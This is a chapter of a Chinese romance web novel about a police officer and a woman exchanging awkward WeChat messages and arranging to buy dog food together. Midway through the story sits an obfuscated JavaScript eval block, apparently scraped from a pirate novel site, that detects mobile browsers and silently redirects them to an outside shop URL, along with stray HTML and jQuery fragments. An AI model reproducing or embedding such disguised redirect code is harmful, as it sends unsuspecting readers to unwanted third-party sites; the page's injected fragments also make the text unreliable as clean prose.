微信“叮咚”进来几条信息,陈屹呈猛的从过去的回忆中抽离。
他眼帘垂下,目光自然的落在手机屏幕上,这几条消息不是程舒禾发来的。
陈屹呈心里隐隐有些失落感,原来潜意识里,他还是对她很有期待的。
失落不过几秒,微信便自动刷新,弹出另一条信息来。
程舒禾回的两个字:晚安。
简短,一目了然,没有后续。
消息在聊天框里停留不过三秒,她又把文字撤回去了。
陈屹呈不知道她为什么这般操作,静等几秒,依然没见信息再来。
他回:【看见了。】
程舒禾:【已消失。】
陈屹呈:【?】
程舒禾已读乱回:【没什么,试一下网络。】
“……”
他有点儿没话说。
-
几天一晃而过。
回暖后的霖市,整天光线都很强烈,在户外空旷地活动,眼睛常常被光芒刺得睁不开眼。
早上,警局比较忙,来来回回,身影穿梭不停。
外出办案的那些人一早出去就没再见回来。
再加上,今天有领导来视察,光是开会就说了两个小时。
散会出来后,大多是一些死气沉沉的面孔。
陈屹呈一边走,一边点着手机给领导回复工作,刚走到大门,便看见白局长在跟实习生讲话。
等他走过去时,实习生刚好离开。
白廷松背着手,虽说年过半百,但背依然铤得很直,脸上神情板正,见他就询问:“开完会了?”
陈屹呈点点头,跟汇报工作一样:“刚把几场失踪案的记录交接过去。”
白廷松了然的点点头,对这件事并没有做过多的表示。
他开门见山道:“前几天庭安带人逮了几个故意抢劫的混子,就在隔壁夜市那里,那位女士感激他,连着送了好几块锦旗……今天他休假,没来开会,你等下有空就把开会重点跟他传达一下。”
陈屹呈很淡的应了声:嗯。”
白廷松看着他发呆两秒,语气上扬,些许疑惑:“怎么,你有意见?”
“我能有什么意见。”陈屹呈声线慵懒,脸上挂着笑,也不知道白廷松从哪看出这一点的,他示意,“没事我去干活了。”
“有事。”白廷松语气不容置喙。
陈屹呈收回脚步。
他就这么站着,等人说话。
白廷松神色缓了缓,表情放软,试探性的问:“最近,你俩闹矛盾了?”
问完后,他又笃定的接着讲:“除开平时工作之外,你俩一碰面就黑着一张脸,看对方的眼睛跟死鱼眼没什么区别,只字不语,不知道的还以为,你们有什么深仇大恨。”
陈屹呈:“哪有这么夸张。”
白廷松懒得跟他瞎扯:“所以什么原因?”
陈屹呈一时沉默。
这其中缘由,好像还真不太好说。
白廷松也不是一个会为难人的领导,他退让一步:“我也不是很想管你们犯什么事,我就是想说,私人情绪不要带到工作上来,别整出一堆烂摊子,我没法——”
“白局,你看我什么时候乱来过。”陈屹呈调侃。
被打断话之后,白廷松将信将疑。
不过陈屹呈这脾气,他也不是不了解,有点儿犟,又有很多自己的想法,难干预。
“最好这样。”白廷松扔下一句,又接着劝,“有空把你俩的问题解决下,都一个地儿的,我看得别扭。”
陈屹呈:“嗯。”
他没说好与不好。
也没说什么时候,反正在白廷松听起来就很敷衍。
见陈屹呈不想聊这个话题,他也不强求,说了些别的:“你爸最近很关心你,一天打了好几个电话来,我听着好像说是要给你介绍女孩,你有空回去见见,人是老赵的外甥女,上次吃饭我见过,温柔乖巧,很漂亮。”
陈屹呈脸上仍旧挂着笑,只是不太走心:“我刚来那会儿,你就跟我说过很多回,怎么,老赵的熟人生意这么棘手?”
白廷松脸色一僵:“你小子。”
他转念一想,算了,跟他计较什么,“我给你们同一批来的都介绍过对象,就没失手过,反而是你,挑挑拣拣的,这也不要那也不要,你要光棍一辈子啊?人庭安都找到要追的女生了,你爸天天说你来了这里之后,跟出家没什么区别,单是因为你,把我们警局的名声搞臭了。”
陈屹呈:“……??”
怎么这事都要赖他身上。
过分了。
白廷松说话速度很快,叽里咕噜的跟冒泡泡一样一大堆,陈屹呈只听到了后面一句。
他挑挑眉,怀疑:“谢庭安,要追谁?”
“我看他这几天忙来忙去的,着装打扮跟之前也有很大区别,特别在意形象,听说他不久前认识个女生。”白廷松回忆着,解释一句,“这几天没少上门感谢他的女士,好像就是那个女生的老板……诶,你问这事做什么?”
陈屹呈回过神来,笑了笑:“没事啊。”
只是在想着。
谢庭安还挺难放弃的。
陈屹呈点开微信,程舒禾聊天框安安静静的,这几天他有意无意问过,她是不是很忙。
程舒禾不是很热情,回得冷淡,来来去去就那么一两个字。
白廷松语重心长:“你少操心别人的事,与其好奇跟你无关的八卦,还不如多专注点自己。”
陈屹呈不轻不重的反驳:“谁说跟我没关了。”
白廷松:“嗯?”
“我确实应该跟他好好学学。”陈屹呈收起手机,没头没尾的回了这句话。
确实应该好好学学。
追女生应该锲而不舍。
……
早来晚回这几天,程舒禾也是过得相当厌倦,她工作烦得都不想跟人多说几个字。
她跟陈屹呈微信聊天对话最后一条,是她回复对方表示非常忙的信息。
其实她说谎了。
上回那事实在是有些尴尬,程舒禾觉得自己没法见人好几天了。
算了,再等两天。
再过几个小时,让时间冲淡一切丢脸的感觉就好了。
程舒禾懊恼的想着时,霍敬恒在这时候凑过来。
他把纸张放进打印机,按了两下电脑,用着八卦的语气跟她说:“你跟那陈警官还有没有联系啊?”
程舒禾眨了眨眼睛,心里疑惑:“怎么这么问。”
想着他没憋什么好事,还没想出个所以然来,霍敬恒把纸张翻一页,轻描淡写:“这不是前几天在超市碰见那位警官了么,真是有缘破庙都能面上一面,我那天就跟他面对面站一块儿,我才发现,原来我那么矮,我当即就在超市怒买了两盒钙片。”
“……”程舒禾紧闭嘴巴,冷笑一声,很实诚的回着,“你这个年纪,长不高了。”
霍敬恒动作一顿:“……?”
再然后,他听见程舒禾跟他说:“……但你的钙片可以补脑。”
霍敬恒:“??”
沉默。
几秒后,霍敬恒抽出纸张,懒得跟她计较,挑着重点讲:“主要是他一眼就认出我来了,还跟我打招呼,我当时还以为是我长得太好看让人过目难忘,结果没聊两句,他就把话题有意无意扯到你身上来了,终究是我自作多情。”
程舒禾心一颤。
她觉得霍敬恒是故意卡在这里的,即使如此,她还是上钩,问出这句:“然后呢?”
“然后?”霍敬恒笑眯眯,神秘兮兮的,低着声音说,“他问我你最近是不是很忙,我这么聪明的人,怎么会听不出来这话的潜在之意,我就有种很强烈的预感,我觉得他就是在找机会约你,我人帅心善,当即就跟他说,你最近一点都不忙,闲得可以下班再耕两亩地。”
程舒禾神情微死。
她觉得有些麻木。
紧接着,她脑海里开始回忆起刚刚跟陈屹呈的聊天对话。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935164|213710||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
陈屹呈:【最近总是加班?】
程舒禾:【嗯,忙得快掉光头发了。】
程舒禾:“……”
真是该死的谎。
霍敬恒觉得自己干了件好事,乐呵呵的:“他有没有约你啊?姐,好机会!”
“好机会。”程舒禾喃喃自语,挤出一句话,“好你一拳头。”
丢脸死了。
陈屹呈大概又觉得她在玩什么欲擒故纵。
程舒禾把脑袋埋在桌面,有一种要等死的感觉。
心理安慰自己几下之后,她点开手机,打开的聊天页面,刚好微信振动一下,冒出一条信息来。
陈屹呈:【没关系,越忙越有钱,秃头就植发。】
程舒禾一脸问号。
怎么说呢。
看不出来,这到底是阴阳怪气,还是真信她鬼话说出来的安慰话。
程舒禾咬牙,扔回一句:【别人总觉得我很闲。】
发完这一句之后,她突然觉得哪里不对劲,好像是太欲盖弥彰,太刻意了?
没几秒,她撤回去了。
陈屹呈又接着发信息来:【他们的话不可信。】
程舒禾不可置信的眨了眨眼睛。
她还在想,出到社会后,陈屹呈还是很睿智的。
看看,这话术,多么聪明,多么好骗。
多么给人面子,台阶都铺得妥妥当当的,简直完美得让人……
“叮咚——”
程舒禾还没想完,紧跟在后面的文字是:【早出晚归,黑灯瞎火摸路好几天的人,说不忙真是过分了。】
程舒禾:“……!!”
夸早了,去你的完美。
透过这一行文字,程舒禾觉得他的神情一定是夹着阴阳怪气的。
她在聊天框里试着打字,敲半天,不知道说些什么,干脆不说了。
罢工之后,她打开文件夹。
看了几秒,看不进去。
直到陈屹呈撇开话题问她:【今晚多少点下班?】
程舒禾抬眼扫一眼时间,回:【四点半。】
她心里隐约有些期待。
他这么问,照霍敬恒的意思,是要约她吧。
程舒禾心里忐忑的等几秒。
等到陈屹呈回信息:【有空吗,下班买点狗粮。】
什么狗粮需要两个人一起买呢。
程舒禾压了压唇角微起的笑意,咬了咬下唇,很矜持的回了两个字答应他。
霍敬恒来拿文件,刚好看见她眯着眼睛对手机,要笑不笑的样子,他开玩笑:“工作让你这么兴奋?”
程舒禾摁掉手机屏幕,抽出打印机的纸张,夹回夹子里,豁然开朗:“没办法,看到手机里的我,被自己美得想笑。”
霍敬恒:“……??”
姐,你没事儿吧?
程舒禾打开电脑工作,全然不管霍敬恒向她投来的怪异眼神。
她心情非常好。
一阵之后,程舒禾突然想到什么,再次点开陈屹呈的聊天框。
只是,映入眼帘的却是他的疑问:【什么狗粮这么好吃?】
程舒禾一时也没搞懂他什么意思,她仔细复盘。
直到眼睛往上一扫,看见自己回他的信息是“好吃”时,程舒禾一下子愣住了。
她不可置信的又看了两遍。
整个空气都凝固了。
“……”
好啊。
好吃。
这个世界上、怎么会有人、能把这两个词搞混搞在一块的!!
啊啊啊啊什么狗粮好吃啊,谁吃狗粮的!!
程舒禾有些崩溃,又有些无从下手的补救感。
她面不改色心不跳,装傻充愣:【我们的?】
发完之后,程舒禾静了下来。
她欲盖弥彰的又补一个字:【买。】
陈屹呈信息秒回:【我也觉得。】
肉眼可见,程舒禾见他学着自己又补一个字:【好。】